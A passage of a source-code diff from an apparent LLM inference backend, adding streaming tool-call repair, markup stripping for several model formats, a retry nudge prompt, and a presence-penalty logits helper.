tail = buffer[-length:]
if any(signal.startswith(tail) for signal in _HEAL_SIGNALS):
return length
return 0
class StreamToolCallHealer:
"""Buffer-and-repair state machine for streamed passthrough content.
``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content
to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call
(string ``function.arguments``). Normal prose is forwarded immediately; only
a trailing partial-signal window (< max signal length) or a suspected tool
block is ever withheld, so streaming latency stays bounded. A false alarm
(the buffer can no longer become a parseable declared call) flushes the held
text verbatim.
"""
def __init__(
self,
allowed_tools: set,
tools: Optional[list] = None,
) -> None:
self._allowed = set(allowed_tools)
self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
self._buffer = ""
self._holding = False
self._id_offset = 0
# Structured delta.tool_calls seen upstream: grammar mode already
# worked, so healing goes dormant and text relays verbatim.
self.dormant = False
@property
def healed(self) -> bool:
return self._id_offset > 0
def structured_tool_call_seen(self) -> list:
"""Go dormant; flush anything held so no text is swallowed."""
self.dormant = True
held, self._buffer, self._holding = self._buffer, "", False
return [("text", held)] if held else []
def feed(self, text: str) -> list:
if self.dormant:
return [("text", text)] if text else []
self._buffer += text
return self._drain()
def _drain(self) -> list:
events: list = []
while True:
if not self._holding:
start = _earliest_signal(self._buffer)
if start >= 0:
if start:
events.append(("text", self._buffer[:start]))
self._buffer = self._buffer[start:]
self._holding = True
else:
keep = _partial_signal_suffix(self._buffer)
emit = self._buffer[: len(self._buffer) - keep]
if emit:
events.append(("text", emit))
self._buffer = self._buffer[len(self._buffer) - keep :]
return events
# HOLD: drain the first contiguous run per pass so events keep document
# order (a later declared call must not overtake an earlier undeclared one
# flushing as text). A run is one markup call OR a whole Mistral [TOOL_CALLS]
# array of contiguous spans, so later calls in it are not stranded as text.
parsed, spans = parse_tool_calls_from_text(
self._buffer,
id_offset = self._id_offset,
allow_incomplete = False,
with_spans = True,
)
if not parsed:
closed_span = _closed_signal_span(self._buffer)
if closed_span:
_start, end = closed_span
events.append(("text", self._buffer[:end]))
self._buffer = self._buffer[end:]
self._holding = False
continue
if len(self._buffer) > _MAX_HOLD_CHARS:
events.append(("text", self._buffer))
self._buffer = ""
self._holding = False
continue
return events
pos = 0
run_end = spans[0][1]
for order, (call, (start, end)) in enumerate(zip(parsed, spans)):
# Stop at the first gap or incomplete trailing block: leave it for the
# next pass to re-hold and stream incrementally, not flush as text early.
if order and start != run_end:
break
promoted = _promote(
[call],
self._allowed,
id_offset = self._id_offset,
tool_schemas = self._tool_schemas,
)
if promoted:
# Flush any leading text, then drop the promoted markup span.
if self._buffer[pos:start]:
events.append(("text", self._buffer[pos:start]))
events.append(("tool_call", promoted[0]))
self._id_offset += 1
else:
# Undeclared/unusable name: markup is DATA, flush it (and prior text) verbatim.
events.append(("text", self._buffer[pos:end]))
pos = end
run_end = end
# Everything past the drained run (later blocks) stays and is rescanned.
self._buffer = self._buffer[run_end:]
self._holding = False
def finalize(self) -> list:
"""End of stream: last-chance heal of the residue, else flush it.
Events keep document order; only the promoted calls' markup spans are
dropped, every other residue byte flushes as text.
"""
if not self._buffer:
return []
residue, self._buffer = self._buffer, ""
holding, self._holding = self._holding, False
if self.dormant or not holding:
return [("text", residue)]
parsed, spans = parse_tool_calls_from_text(
residue,
id_offset = self._id_offset,
allow_incomplete = True,
with_spans = True,
)
events: list = []
pos = 0
any_promoted = False
for call, (start, end) in zip(parsed, spans):
promoted = _promote(
[call],
self._allowed,
id_offset = self._id_offset,
tool_schemas = self._tool_schemas,
)
if promoted:
if residue[pos:start]:
events.append(("text", residue[pos:start]))
events.append(("tool_call", promoted[0]))
self._id_offset += 1
any_promoted = True
else:
events.append(("text", residue[pos:end]))
pos = end
if not any_promoted:
return [("text", residue)]
tail = residue[pos:].strip()
if tail:
events.append(("text", tail))
return events
def _first_choice_message(data: Any) -> Optional[dict]:
"""First-choice message dict of a non-streaming chat response, else None.
Upstream error bodies can carry ``"message": null`` (or no choices at all),
so never assume the shape: a non-dict message means "nothing to heal".
"""
try:
message = data["choices"][0]["message"]
except (KeyError, IndexError, TypeError):
return None
return message if isinstance(message, dict) else None
def _last_assistant_text(data: Any) -> str:
"""First-choice assistant content of a non-streaming chat response, or ''."""
message = _first_choice_message(data)
content = message.get("content") if message else None
return content if isinstance(content, str) else ""
def _heal_would_promote(
text: str,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""Whether ``heal_openai_message`` would promote at least one call."""
parsed = parse_tool_calls_from_text(text, allow_incomplete = True)
tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas))
def response_has_promotable_calls(
data: Any,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""True when a non-streaming chat response carries a usable tool call
(structured naming a DECLARED tool, or text-form that healing would
promote). Used to decide whether a nudge retry actually improved on the
original response; a hallucinated undeclared call is not an improvement."""
message = _first_choice_message(data)
if not message:
return False
tool_calls = message.get("tool_calls")
if tool_calls:
# ALL structured calls must be declared: the caller forwards the whole
# list (and a parallel cap could keep only the FIRST one), so a mixed
# response with a single hallucinated name could still hand the client
# an undeclared tool.
return all(
isinstance(tc, dict)
and isinstance(tc.get("function"), dict)
and tc["function"].get("name") in allowed_tools
for tc in tool_calls
)
text = message.get("content")
if not isinstance(text, str):
return False
return _heal_would_promote(text, allowed_tools, tools)
def nudge_should_retry(
data: Any,
allowed_tools: Optional[set],
tools: Optional[list] = None,
) -> bool:
"""True when the first response tried to call a tool but nothing healed.
Trigger only on: healing enabled (allowed_tools set), zero structured
calls, a tool signal present in the text, and zero promotable calls -- the
exact failure a single re-ask can fix. Clean prose never retries.
"""
if not allowed_tools:
return False
message = _first_choice_message(data)
if not message or message.get("tool_calls"):
return False
text = message.get("content")
if not isinstance(text, str) or not _has_heal_signal(text):
return False
return not _heal_would_promote(text, allowed_tools, tools)
def nudge_messages(data: Any, allowed_tools: set) -> list:
"""The two-message suffix appended for the single nudge retry.
The retry body is the original body plus this suffix, so the prompt prefix
is byte-identical and llama-server's slot/prefix cache is reused (same
shape as the enable-tools loop's reprompt).
"""
tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool"
return [
{"role": "assistant", "content": _last_assistant_text(data)},
{
"role": "user",
"content": (
"You have access to the declared tools. If a tool is needed to "
f"complete the action you described, call {tool_hint} now using the "
"native tool-call format with valid JSON arguments, not prose. If no "
"tool is needed, provide the final answer directly."
),
},
]

49
studio/backend/core/inference/presence_penalty.py Normal file
View file

@ -0,0 +1,49 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Presence-penalty logits helpers for the safetensors/MLX inference paths.
Kept in a dependency-light leaf module (torch + transformers only, no unsloth /
peft) so the pure logic can be imported and unit-tested without pulling in the
full inference backend. ``core.inference.inference`` re-exports these for the
runtime generate paths.
"""
import torch
def apply_presence_penalty(input_ids, scores, penalty: float, prompt_len: int):
"""OpenAI/llama.cpp presence penalty: subtract ``penalty`` once per distinct
completion token (positions >= prompt_len; prompt excluded, multiplicity
ignored, negatives raise). In place; zero is a no-op."""
if not penalty:
return scores
vocab_size = scores.shape[-1]
for b in range(input_ids.shape[0]):
generated = input_ids[b, prompt_len:]
if generated.numel() == 0:
continue
seen = torch.unique(generated)
# Bound generated ids to the valid range [0, vocab_size). Real completion
# tokens are always in range, so this is a zero-regression safety net that
# drops any stray out-of-range or negative id before indexing (mirrors the
# MLX path's bound). Filtering both ends avoids indexing scores with a
# negative id (which would silently wrap to the wrong row).
seen = seen[(seen >= 0) & (seen < vocab_size)]
if seen.numel():
scores[b, seen] = scores[b, seen] - penalty
return scores
def _make_presence_penalty_processor(penalty: float, prompt_len: int):
"""``LogitsProcessorList`` for ``apply_presence_penalty``; ``None`` at zero penalty (generate call stays byte-identical)."""
if not penalty:
return None
from transformers import LogitsProcessor, LogitsProcessorList
class _PresencePenaltyLogitsProcessor(LogitsProcessor):
@torch.no_grad()
def __call__(self, input_ids, scores):
return apply_presence_penalty(input_ids, scores, penalty, prompt_len)
return LogitsProcessorList([_PresencePenaltyLogitsProcessor()])

638
studio/backend/core/inference/safetensors_agentic.py
View file

@ -14,6 +14,7 @@ parses tool calls from the cumulative text and dispatches via
``core.inference.tools``.
"""
import bisect
import re
import threading
from typing import Callable, Generator, Optional
@ -21,14 +22,38 @@ from typing import Callable, Generator, Optional
from loggers import get_logger
from core.inference.tool_call_parser import (
_TOOL_ALL_PATS,
_GEMMA_BARE_TC_PREFIX_RE,
_GEMMA_BARE_TC_RE,
_TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
_TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
_balanced_brace_end,
_strip_function_xml_calls,
_strip_gemma_wrapperless_calls,
_strip_glm_calls,
_strip_mistral_closed_calls,
_strip_mistral_reasoning,
BUDGET_EXHAUSTED_NUDGE,
MAX_ACT_REPROMPTS,
RAG_MAX_SEARCHES_PER_TURN,
RAG_SEARCH_CAP_NUDGE,
TOOL_XML_SIGNALS,
is_short_intent_without_action,
parse_tool_calls_from_text,
reprompt_to_act_message,
strip_leading_bare_json_call,
strip_llama3_leading_sentinels,
strip_tool_markup,
)
# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
# pattern lists, so the safetensors streaming strip stays aligned with the parser.
from core.tool_healing import (
_REHEARSAL_TAIL_STRIP_RE,
_strip_bracket_tag_calls,
_think_spans_outside_tool_markup,
apply_tool_strip_patterns,
strip_outside_think,
)
from core.inference.tool_loop_controller import (
ToolLoopController,
coerce_tool_arguments,
@ -50,19 +75,213 @@ logger = get_logger(__name__)
# Buffer cap while disambiguating a possible tool-call prefix.
_MAX_BUFFER_CHARS = 32
# Memory bound for holding a leading bare-JSON object whose top-level "{" never balances.
_MAX_BARE_JSON_BUFFER = 16384
# No grammar constraint here (unlike llama-server's lazy grammar): collapse
# exact-duplicate calls and cap the count so a runaway turn cannot fan out.
_MAX_TOOL_CALLS_PER_TURN = 8
def _active_tool_names(active_tools: list[dict]) -> list[str]:
names = [
(tool.get("function") or {}).get("name")
for tool in active_tools
if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
]
return [name for name in names if name]
def _active_tool_names(active_tools: list[dict]) -> list[str]:
names = [
(tool.get("function") or {}).get("name")
for tool in active_tools
if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
]
return [name for name in names if name]
# Unrestricted mode has no tool list, so any identifier may open a NAME[ARGS] rehearsal;
# ``[`` and each ARGS letter stay optional so a chunk split after ``NAME[`` is still held.
_UNRESTRICTED_REHEARSAL_RE = re.compile(r"[\w-]+(?:\[(?:A(?:R(?:G(?:S)?)?)?)?)?")
def _is_rehearsal_prefix(
stripped: str,
active_tools: list[dict],
*,
unrestricted: bool = False,
) -> bool:
"""True if ``stripped`` is a (possibly partial) prefix of a ``NAME[ARGS]``
rehearsal split across chunks (``web_search`` then ``[ARGS]{...}``). A space
means prose. Unrestricted mode accepts any identifier; else NAME must be active."""
if not stripped or any(ch.isspace() for ch in stripped):
return False
if unrestricted:
return _UNRESTRICTED_REHEARSAL_RE.fullmatch(stripped) is not None
for name in _active_tool_names(active_tools):
if stripped == name or f"{name}[ARGS]".startswith(stripped):
return True
return False
def _held_rehearsal_tail_len(
text: str,
active_tools: list[dict],
*,
unrestricted: bool = False,
) -> int:
"""Length of a trailing bare tool-name token that may be a split rehearsal call
(``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
instead of leaking the name. Returns 0 for ordinary prose."""
i = len(text)
while i > 0 and not text[i - 1].isspace():
i -= 1
tail = text[i:]
return (
len(tail)
if tail and _is_rehearsal_prefix(tail, active_tools, unrestricted = unrestricted)
else 0
)
def _rehearsal_name_start(
candidate: str,
signal_pos: int,
active_tools: list[dict],
*,
unrestricted: bool = False,
) -> int:
"""For an ``[ARGS]`` signal at ``signal_pos``, return the start of the preceding
bare tool-name token (``NAME[ARGS]``), else ``signal_pos`` unchanged when the
signal is not ``[ARGS]`` or NAME is not an active tool (restricted mode)."""
if not candidate.startswith("[ARGS]", signal_pos):
return signal_pos
j = signal_pos
while j > 0 and (candidate[j - 1].isalnum() or candidate[j - 1] in "_-"):
j -= 1
if j < signal_pos and (
unrestricted or candidate[j:signal_pos] in _active_tool_names(active_tools)
):
return j
return signal_pos
def _earliest_tool_signal(
candidate: str,
signals,
active_tools: list[dict],
*,
unrestricted: bool = False,
) -> int:
"""Index where the turn's first genuine tool-call boundary begins, or -1.
Non-``[ARGS]`` markup wins on first occurrence. An ``[ARGS]`` hit is a rehearsal
only when an active tool name (any name in unrestricted mode) precedes it, so a
literal ``foo[ARGS]`` in prose is skipped rather than draining the turn; for a
real ``NAME[ARGS]`` the boundary is pulled back to NAME."""
best = -1
for sig in signals:
if sig != "[ARGS]":
p = candidate.find(sig)
if p >= 0 and (best < 0 or p < best):
best = p
continue
from_idx = 0
while True:
p = candidate.find("[ARGS]", from_idx)
if p < 0:
break
name_start = _rehearsal_name_start(
candidate, p, active_tools, unrestricted = unrestricted
)
if name_start < p:
# Genuine ``NAME[ARGS]``: the boundary is the start of NAME.
if best < 0 or name_start < best:
best = name_start
break
# Bare/prose [ARGS]: skip it so a later real call in the same chunk is still found.
from_idx = p + len("[ARGS]")
return best
def _has_genuine_tool_signal(
candidate: str,
signals,
active_tools: list[dict],
*,
unrestricted: bool = False,
) -> bool:
"""True when ``candidate`` holds a genuine tool-call boundary for one of ``signals``.
Non-``[ARGS]`` markers count on a substring hit; an ``[ARGS]`` hit is genuine only
when an active tool name (any in unrestricted mode) precedes it. Mirrors the
``_earliest_tool_signal`` name-gating so BUFFERING / end-of-stream checks do not
drain inactive-name prose."""
for sig in signals:
if sig == "[ARGS]":
if (
_earliest_tool_signal(
candidate, ("[ARGS]",), active_tools, unrestricted = unrestricted
)
>= 0
):
return True
continue
if sig in candidate:
return True
return False
def strip_tool_markup_streaming(
text: str,
*,
auto_heal_tool_calls: bool = True,
tool_protocol_active: bool = False,
enabled_tool_names: Optional[set] = None,
) -> str:
"""Strip open-ended tool XML from display text without trimming whitespace."""
"""Strip open-ended tool XML from display text without trimming whitespace.
Mirrors the parser-side ``strip_tool_markup`` segment scan (minus the final trim) so
streaming and final display agree: balanced strips first (nested JSON removed whole),
then the guarded function-XML / GLM scans that close at each call's REAL terminator so
literal markup inside argument values is data and trailing prose survives. Reasoning
``<think>`` / ``[THINK]`` blocks are preserved verbatim (a rehearsed call inside one must
not be deleted, else the cumulative text shrinks then regrows). ``enabled_tool_names``
keeps an inactive-name ``foo[ARGS]{..}`` / ``call:NAME{..}`` example visible (it is prose,
not a call), matching the parse / detection active-tool gate."""
if not (auto_heal_tool_calls or tool_protocol_active):
return text
for pat in _TOOL_ALL_PATS:
text = pat.sub("", text)
return text
# Drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket reasoning form, not the
# ``<think>`` channel) so raw reasoning does not leak into streamed display; an unclosed
# leading block is held (dropped to EOF) until its closer streams in.
text = _strip_mistral_reasoning(text)
def _seg(segment: str, is_last: bool) -> str:
# Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
# strips first, then the guarded function-XML / GLM scans, then the regex arms
# (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
# segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal strips are name-gated.
seg = _strip_mistral_closed_calls(segment)
seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
if is_last:
seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
seg = _strip_function_xml_calls(seg, final = is_last)
seg = _strip_glm_calls(seg, final = is_last)
pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
for pat in pats:
seg = pat.sub("", seg)
if is_last:
seg = apply_tool_strip_patterns(
seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = enabled_tool_names
)
return seg
# Preserve think blocks verbatim: stripping a rehearsed call inside one shrinks then
# regrows the cumulative text, corrupting append-by-length consumers.
return strip_outside_think(text, _seg)
def _strip_tool_markup_final(
@ -70,10 +289,11 @@ def _strip_tool_markup_final(
*,
auto_heal_tool_calls: bool,
tool_protocol_active: bool = False,
enabled_tool_names: Optional[set] = None,
) -> str:
if not (auto_heal_tool_calls or tool_protocol_active):
return text
return strip_tool_markup(text, final = True)
return strip_tool_markup(text, final = True, enabled_tool_names = enabled_tool_names)
def _status_for_tool(tool_name: str, arguments: dict) -> str:
@ -81,25 +301,76 @@ def _status_for_tool(tool_name: str, arguments: dict) -> str:
return status_for_tool(tool_name, arguments)
def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set]) -> bool:
"""True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
probe = strip_llama3_leading_sentinels(text.lstrip())
if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
return False
return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
_FUNCTION_SIGNAL_RE = re.compile(r"<function=([\w-]+)>")
_TOOL_CALL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w-]+)"')
# Mistral name/v11 and rehearsal forms, aligned with the parser so the provisional
# render-html card fires for bracket-tag serializations too.
_MISTRAL_RENDER_NAME_RE = re.compile(
r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
)
_REHEARSAL_RENDER_NAME_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
def _detect_render_html_tool_start(content: str) -> bool:
"""Return True when the first drained tool call is clearly render_html."""
function_match = _FUNCTION_SIGNAL_RE.search(content)
tool_call_index = content.find("<tool_call>")
if not function_match and tool_call_index < 0:
"""Return True when the FIRST tool call in ``content`` is clearly render_html.
Covers every serialization the loop executes (XML ``<function=>`` / ``<tool_call>``,
Mistral ``[TOOL_CALLS]``, rehearsal ``NAME[ARGS]``); the earliest marker wins so a
render_html marker inside another call's argument is treated as data. Markers inside
a ``<think>`` / ``[THINK]`` block are dropped since the parser skips them."""
think_spans = _think_spans_outside_tool_markup(content)
_think_starts = [s for s, _e in think_spans]
def _in_think(pos: int) -> bool:
if not think_spans:
return False
i = bisect.bisect_right(_think_starts, pos) - 1
return i >= 0 and think_spans[i][0] <= pos < think_spans[i][1]
def _first_outside(start: int, finder) -> int:
# First occurrence at/after ``start`` that is not inside a think span.
pos = finder(start)
while pos >= 0 and _in_think(pos):
pos = finder(pos + 1)
return pos
candidates: list[tuple[int, str]] = []
for fm in _FUNCTION_SIGNAL_RE.finditer(content):
if not _in_think(fm.start()):
candidates.append((fm.start(), fm.group(1)))
break
tc = _first_outside(0, lambda i: content.find("<tool_call>", i))
if tc >= 0:
nm = _TOOL_CALL_NAME_RE.search(content[tc:])
candidates.append((tc, nm.group(1) if nm else ""))
mt = _first_outside(0, lambda i: content.find("[TOOL_CALLS]", i))
if mt >= 0:
mm = _MISTRAL_RENDER_NAME_RE.match(content, mt)
if mm:
candidates.append((mt, mm.group(1)))
else:
# Array shape: a bare ``"name"`` search can latch onto an argument key, so resolve the
# first call through the parser (it reads top-level names).
arr_calls = parse_tool_calls_from_text(content[mt:])
if arr_calls:
candidates.append((mt, (arr_calls[0].get("function") or {}).get("name") or ""))
for rm in _REHEARSAL_RENDER_NAME_RE.finditer(content):
if not _in_think(rm.start(1)):
candidates.append((rm.start(1), rm.group(1)))
break
if not candidates:
return False
if function_match and (tool_call_index < 0 or function_match.start() < tool_call_index):
return function_match.group(1) == "render_html"
if tool_call_index >= 0:
name_match = _TOOL_CALL_NAME_RE.search(content[tool_call_index:])
return bool(name_match and name_match.group(1) == "render_html")
return False
_pos, name = min(candidates, key = lambda c: c[0])
return name == "render_html"
def _coerce_arguments_with_provenance(
@ -149,6 +420,7 @@ def run_safetensors_tool_loop(
execute_tool: Callable[..., str],
cancel_event: Optional[threading.Event] = None,
auto_heal_tool_calls: bool = True,
nudge_tool_calls: Optional[bool] = None,
max_tool_iterations: int = 25,
tool_call_timeout: int = 300,
session_id: Optional[str] = None,
@ -188,8 +460,17 @@ def run_safetensors_tool_loop(
for _ev in _auto["events"]:
yield _ev
conversation.extend(_auto["messages"])
# Autoinject ran a KB search outside the controller, so it counts as an
# executed tool for the plan-without-action gate.
rag_autoinjected = bool(_auto)
unrestricted_tools = not tools
# Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
# ORIGINAL tools list so a spent one-shot still reads as a tool name. None = unrestricted.
_enabled_names_gate = None if unrestricted_tools else set(_active_tool_names(tools))
# Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
# one-shot), else its repeat is stripped but never drained and the turn ends blank.
_detect_tools = [] if unrestricted_tools else list(tools or [])
tool_controller = ToolLoopController(
tools = None if unrestricted_tools else tools,
auto_heal_tool_calls = auto_heal_tool_calls,
@ -198,6 +479,14 @@ def run_safetensors_tool_loop(
kb_search_count = 0
final_attempt_done = False
next_call_id = 0
reprompt_count = 0
# A denied tool confirmation must not be answered with a plan-without-action
# re-prompt (which would raise the confirmation gate again).
tool_denied = False
# Real tool-call turns completed. Only turns that actually executed a tool count
# against ``max_tool_iterations``; a duplicate/disabled no-op correction turn (and a
# plan-without-action re-prompt) must not consume budget, matching the GGUF loop.
_executed_tool_iters = 0
def _tool_succeeded(tool_name: str) -> bool:
key_prefix = f"{tool_name}:"
@ -215,9 +504,13 @@ def run_safetensors_tool_loop(
_state_streaming = 1
_state_draining = 2
for iteration in range(max_tool_iterations + 1):
# Reserve re-prompt slots so they don't eat the caller's tool budget.
_extra_iters = MAX_ACT_REPROMPTS if max_tool_iterations > 0 else 0
for iteration in range(max_tool_iterations + _extra_iters + 1):
if cancel_event is not None and cancel_event.is_set():
return
# Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
_turn_executed_real_tool = False
if final_attempt_done:
active_tools: list[dict] = []
@ -229,6 +522,8 @@ def run_safetensors_tool_loop(
tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools))
tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else ()
# Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
_enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools))
detect_state = _state_buffering
content_buffer = ""
@ -304,17 +599,18 @@ def run_safetensors_tool_loop(
if detect_state == _state_streaming:
candidate = cumulative_display + delta
signal_pos = -1
for sig in tool_xml_signals:
p = candidate.find(sig)
if p >= 0 and (signal_pos < 0 or p < signal_pos):
signal_pos = p
# Earliest genuine boundary: bare [ARGS] in prose is skipped; a real NAME[ARGS] is
# pulled back to NAME so the name is not flushed.
signal_pos = _earliest_tool_signal(
candidate, tool_xml_signals, _detect_tools, unrestricted = unrestricted_tools
)
if signal_pos >= 0:
before_tool = candidate[:signal_pos]
cleaned_before = strip_tool_markup_streaming(
before_tool,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = tool_protocol_active,
enabled_tool_names = _enabled_names_gate,
)
if len(cleaned_before) > len(last_emitted):
last_emitted = cleaned_before
@ -345,10 +641,20 @@ def run_safetensors_tool_loop(
cumulative_display,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = tool_protocol_active,
enabled_tool_names = _enabled_names_gate,
)
if len(cleaned) > len(last_emitted):
last_emitted = cleaned
yield {"type": "content", "text": cleaned}
# Hold a trailing bare active-tool-name (split rehearsal) until its [ARGS] arrives;
# released by later prose or the end-of-stream flush.
if tool_protocol_active:
_hold = _held_rehearsal_tail_len(
cleaned, _detect_tools, unrestricted = unrestricted_tools
)
emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
else:
emit = cleaned
if len(emit) > len(last_emitted):
last_emitted = emit
yield {"type": "content", "text": emit}
continue
# BUFFERING: hold until we know it is not a tool call.
@ -366,6 +672,92 @@ def run_safetensors_tool_loop(
if sig.startswith(stripped):
is_prefix = True
break
# Bracket-tag forms arrive mid-buffer, so substring-check too (mirrors GGUF); [ARGS]
# counts only with an active NAME so prose is not drained into a no-op.
if sig == "[ARGS]":
if (
_earliest_tool_signal(
stripped,
("[ARGS]",),
_detect_tools,
unrestricted = unrestricted_tools,
)
>= 0
):
is_match = True
break
elif sig.startswith("[") and sig in stripped:
is_match = True
break
# Split rehearsal: hold the bare name until its [ARGS] arrives and matches above.
is_rehearsal_prefix = False
if (
not is_match
and not is_prefix
and tool_protocol_active
and _is_rehearsal_prefix(stripped, _detect_tools, unrestricted = unrestricted_tools)
):
is_prefix = True
is_rehearsal_prefix = True
# Llama-3.2 ``custom_tools`` emits a bare ``{"name":..,"parameters":..}`` with no XML
# signal. Hold a leading ``{`` (after any sentinel) until it closes: drain if it parses
# as a call, else stream as content. Non-call text is always recovered downstream.
bare_probe = strip_llama3_leading_sentinels(stripped)
if (
not is_match
and not is_prefix
and tool_protocol_active
and bare_probe.startswith("{")
):
if _balanced_brace_end(bare_probe, 0) is None:
if len(stripped) < _MAX_BARE_JSON_BUFFER:
continue # object still open -- keep buffering
elif _looks_like_enabled_bare_json(bare_probe, _enabled_tool_names):
# Oversized still-open ENABLED-tool call: stop holding (memory bound) but
# DRAIN instead of leaking the raw prefix; a giant ordinary JSON answer still streams.
detect_state = _state_draining
continue
elif parse_tool_calls_from_text(
content_buffer,
id_offset = next_call_id,
allow_incomplete = auto_heal_tool_calls,
enabled_tool_names = _enabled_tool_names,
):
# Closed object that parses as a bare-JSON call -- drain silently.
detect_state = _state_draining
continue
# Closed non-call object (or oversized non-call) -- stream as text.
# Gemma wrapper-less ``call:NAME{...}`` has no tool_xml_signals entry:
# buffer it here or it streams raw until the end-of-turn safety net.
# ``(?<!\w)`` keeps "recall:" out; the prefix regex is whitespace-tolerant.
if (
not is_match
and not is_prefix
and tool_protocol_active
and (
"call:".startswith(stripped)
or _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None
or _GEMMA_BARE_TC_RE.match(stripped) is not None
)
):
if _GEMMA_BARE_TC_RE.match(stripped):
detect_state = _state_draining
continue
# A ``call:`` / ``call:partial_name`` prefix with no ``{`` yet: keep
# buffering the variable-length name instead of leaking ``call:longname``.
# Names can exceed 32 chars (OpenAI 64, MCP longer), so a fixed cap would
# flush real calls raw. The prefix regex self-terminates on ordinary prose
# and the ``{`` drains above; bound generously like the bare-JSON path.
if _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None:
if len(stripped) < _MAX_BARE_JSON_BUFFER:
continue
detect_state = _state_draining
continue
if len(stripped) < _MAX_BUFFER_CHARS:
continue # bare "call:" prefix still forming
if is_match:
# Tool signal -- flush any visible prefix before DRAINING
@ -375,6 +767,7 @@ def run_safetensors_tool_loop(
cumulative_display,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = tool_protocol_active,
enabled_tool_names = _enabled_names_gate,
)
if len(cleaned) > len(last_emitted):
last_emitted = cleaned
@ -398,7 +791,8 @@ def run_safetensors_tool_loop(
"arguments": {},
"provenance": _tool_event_provenance(provisional = True),
}
elif is_prefix and len(stripped) < _MAX_BUFFER_CHARS:
elif is_prefix and (is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS):
# A rehearsal prefix is self-bounded; the buffer cap must not cut long MCP names short.
continue
else:
detect_state = _state_streaming
@ -407,57 +801,121 @@ def run_safetensors_tool_loop(
cumulative_display,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = tool_protocol_active,
enabled_tool_names = _enabled_names_gate,
)
if len(cleaned) > len(last_emitted):
last_emitted = cleaned
yield {"type": "content", "text": cleaned}
# Same trailing-name hold as STREAMING for this first flush out of BUFFERING.
if tool_protocol_active:
_hold = _held_rehearsal_tail_len(
cleaned, _detect_tools, unrestricted = unrestricted_tools
)
emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
else:
emit = cleaned
if len(emit) > len(last_emitted):
last_emitted = emit
yield {"type": "content", "text": emit}
# Stream finished -- resolve what we collected.
if cancel_event is not None and cancel_event.is_set():
return
if detect_state == _state_buffering:
# Buffer never resolved -- tool XML or plain content?
# Buffer never resolved: [ARGS] is name-gated so a prose answer with a literal
# ``foo[ARGS]{...}`` is not parsed.
stripped = content_buffer.lstrip()
_bare_eos = strip_llama3_leading_sentinels(stripped)
if (
stripped
and tool_protocol_active
and any(sig in stripped for sig in tool_xml_signals)
and _has_genuine_tool_signal(
stripped,
tool_xml_signals,
_detect_tools,
unrestricted = unrestricted_tools,
)
):
detect_state = _state_draining
elif tool_protocol_active and _looks_like_enabled_bare_json(
_bare_eos, _enabled_tool_names
):
# A held bare-JSON ENABLED-tool fragment has no XML signal; DRAIN it (an ordinary
# JSON answer falls through to the else and streams as content, GGUF parity).
detect_state = _state_draining
else:
# Drain and fall through to STREAMING so the intent re-prompt + safety-net parser
# still fire on short emissions like "Let me search." that never exit BUFFERING.
if content_buffer:
cumulative_display += content_buffer
yield {
"type": "content",
"text": _strip_tool_markup_final(
cumulative_display,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = False,
),
}
yield {"type": "status", "text": ""}
return
cleaned = strip_tool_markup(
cumulative_display, final = True, enabled_tool_names = _enabled_tool_names
)
if len(cleaned) > len(last_emitted):
last_emitted = cleaned
yield {"type": "content", "text": cleaned}
detect_state = _state_streaming
if detect_state == _state_streaming:
# No tool detected mid-stream -- check for late tool XML.
safety_tc = None
saw_tool_signal = tool_protocol_active and any(
sig in content_accum for sig in tool_xml_signals
# Run the parser even with no XML signal (the Llama-3.2 bare-JSON form carries none); it's
# strict so plain answers stay untouched. Mirrors GGUF.
safety_tc = parse_tool_calls_from_text(
